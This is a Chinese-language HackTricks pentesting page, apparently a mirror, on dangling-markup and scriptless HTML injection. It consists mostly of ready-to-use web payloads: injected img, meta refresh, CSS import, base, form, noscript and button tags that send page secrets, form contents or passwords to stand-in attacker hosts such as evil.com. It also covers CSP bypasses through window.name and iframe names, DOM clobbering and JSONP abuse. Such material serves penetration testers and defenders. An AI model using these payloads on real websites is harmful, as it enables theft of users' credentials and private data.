> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/dangling-markup-html-scriptless-injection.md).

# Dangling Markup - HTML scriptless injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 简介

当发现**HTML注入**时，此技术可用于从用户那里提取信息。如果您**找不到利用**[**XSS**](/pentesting-web/xss-cross-site-scripting.md)的方法，但可以**注入一些HTML标记**，则此技术非常有用。\
如果某些**秘密以明文保存**在HTML中，您想要**从客户端中提取**它，或者您想要误导某些脚本执行，这也很有用。

这里讨论的几种技术可以用于通过意想不到的方式（html标记、CSS、http-meta标记、表单、base等）**窃取信息**，从而绕过一些[**内容安全策略**](/pentesting-web/content-security-policy-csp-bypass.md)。

## 主要应用

### 窃取明文秘密

如果您注入 `<img src='http://evil.com/log.cgi?`，当页面加载时，受害者将向您发送从注入的`img`标记到代码中下一个引号之间的所有代码。如果某个秘密以某种方式位于该块中，您将窃取它（您也可以使用双引号执行相同操作，请查看哪种更有趣）。

如果`img`标记被禁止（例如由于CSP），您还可以使用 `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`。

```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```

请注意，**Chrome会阻止包含"<"或"\n"的HTTP URL**，因此您可以尝试其他协议方案，如"ftp"。

您还可以滥用CSS `@import`（将发送直到找到";"为止的所有代码）。

```html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```

你也可以使用\*\*`<table`\*\*：

```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```

您还可以插入一个`<base`标签。所有信息将被发送，直到引号关闭，但这需要一些用户交互（用户必须点击某个链接，因为base标签会改变链接指向的域）：

```html
<base target='        <--- Injected
steal me'<b>test</b>
```

### 窃取表单

```html
<base href='http://evil.com/'>
```

然后，发送数据到路径的表单（如 `<form action='update_profile.php'>`）将发送数据到恶意域。

### 窃取表单 2

设置一个表单头部：`<form action='http://evil.com/log_steal'>` 这将覆盖下一个表单头部，表单中的所有数据将被发送给攻击者。

### 窃取表单 3

按钮可以使用属性 "formaction" 更改表单信息将被发送到的 URL：

```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```

攻击者可以利用这个漏洞来窃取信息。

在这篇文章中找到了[**此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。

### 窃取明文密码 2

使用最新提到的技术来窃取表单（注入新表单头），然后可以注入一个新的输入字段：

```html
<input type='hidden' name='review_body' value="
```

这个输入字段将包含 HTML 中双引号之间的所有内容。这种攻击将"***窃取明文密码***"与"***窃取表单2***"混合在一起。

您可以通过注入一个表单和一个`<option>`标签来执行相同的操作。直到找到闭合的`</option>`标签之前的所有数据都将被发送：

```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```

### 表单参数注入

您可以更改表单的路径并插入新值，从而执行意外操作：

```html
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```

### 通过noscript窃取明文密码

`<noscript></noscript>` 是一个标签，如果浏览器不支持JavaScript，其内容将被解释（您可以在Chrome中的<chrome://settings/content/javascript>启用/禁用JavaScript）。

从注入点到底部将网页内容导出到攻击者控制的站点的一种方法是注入以下内容：

```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```

### 通过用户交互绕过 CSP

从这个[portswiggers研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)中，你可以了解到即使在**最严格的 CSP 环境**中，仍然可以通过一些**用户交互**来**外泄数据**。在这种情况下，我们将使用以下有效载荷：

```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```

请注意，您将要求**受害者**点击一个链接，该链接将将**重定向**他到您控制的**有效负载**。还请注意，**`base`标签中的`target`属性将包含HTML内容**，直到下一个单引号。\
这将导致如果点击链接，**`window.name`的值**将是所有该**HTML内容**。因此，由于您**控制**受害者通过点击链接访问的页面，您可以访问\*\*`window.name`**并**外泄\*\*这些数据：

```html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```

### 误导性脚本工作流 1 - HTML 命名空间攻击

在 HTML 中插入一个带有 id 的新标签，该标签将覆盖下一个标签，并具有会影响脚本流程的值。在此示例中，您正在选择要与谁共享信息：

```html
<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```

### 误导性脚本工作流 2 - 脚本命名空间攻击

通过插入HTML标签在javascript命名空间内创建变量。然后，这个变量将影响应用程序的流程：

```html
<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}
```

### 滥用 JSONP

如果你发现了一个 JSONP 接口，你可以调用任意函数并传入任意数据：

```html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })
```

或者您甚至可以尝试执行一些 JavaScript：

```html
<script src='/search?q=a&call=alert(1)'></script>
```

### Iframe 滥用

一个子文档具有查看和修改其父文档的 `location` 属性的能力，即使在跨域情况下也是如此。这允许在 **iframe** 中嵌入一个脚本，可以将客户端重定向到任意页面：

```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```

这可以通过类似以下方式来减轻风险：`sandbox=' allow-scripts allow-top-navigation'`

一个iframe也可以被滥用来从不同页面泄露敏感信息，**利用iframe的name属性**。这是因为你可以创建一个iframe，它会通过滥用HTML注入来将**敏感信息显示在iframe的name属性内**，然后从初始iframe访问该名称并泄露信息。

```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```

For more info check <https://portswigger.net/research/bypassing-csp-with-dangling-iframes>

### \<meta 滥用

您可以使用 **`meta http-equiv`** 执行**多个操作**，如设置 Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向（在此情况下为 5 秒）: `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

这可以通过关于 **http-equiv** 的 **CSP** 来**避免**（`Content-Security-Policy: default-src 'self';`, 或 `Content-Security-Policy: http-equiv 'self';`）

### 新的 \<portal HTML 标签

您可以在这里找到关于 \<portal 标签可利用漏洞的非常**有趣的研究** [here](https://research.securitum.com/security-analysis-of-portal-element/)。\
在撰写本文时，您需要在 Chrome 中启用 portal 标签 `chrome://flags/#enable-portals`，否则它将无法正常工作。

```html
<portal src='https://attacker-server?
```

### HTML泄漏

并非所有在HTML中泄漏连接的方式都对悬挂标记有用，但有时可能会有帮助。在这里检查它们：<https://github.com/cure53/HTTPLeaks/blob/master/leak.html>

## SS泄漏

这是**悬挂标记和XS-Leaks的混合**。一方面，该漏洞允许在我们将要攻击的**同源页面**中**注入HTML**（但不包括JS）。另一方面，我们不会直接攻击可以注入HTML的页面，而是**另一个页面**。

{% content-ref url="/pages/HufPViIyQyc9qsDxNJIF" %}
[SS-Leaks](/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md)
{% endcontent-ref %}

## XS-Search/XS-Leaks

XS-Search旨在利用**侧信道攻击**滥用**窃取跨源信息**。因此，这是一种与悬挂标记不同的技术，然而，一些技术滥用了包含HTML标记（带有和不带有JS执行），比如[**CSS注入**](/pentesting-web/xs-search.md#css-injection)或[**延迟加载图像**](/pentesting-web/xs-search.md#image-lazy-loading)**。**

{% content-ref url="/pages/yW4lc8VGOtX92OeIXFoK" %}
[XS-Search/XS-Leaks](/pentesting-web/xs-search.md)
{% endcontent-ref %}

## 暴力检测列表

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt>" %}

## 参考资料

* <https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057>
* <http://lcamtuf.coredump.cx/postxss/>
* <http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/>
* <https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
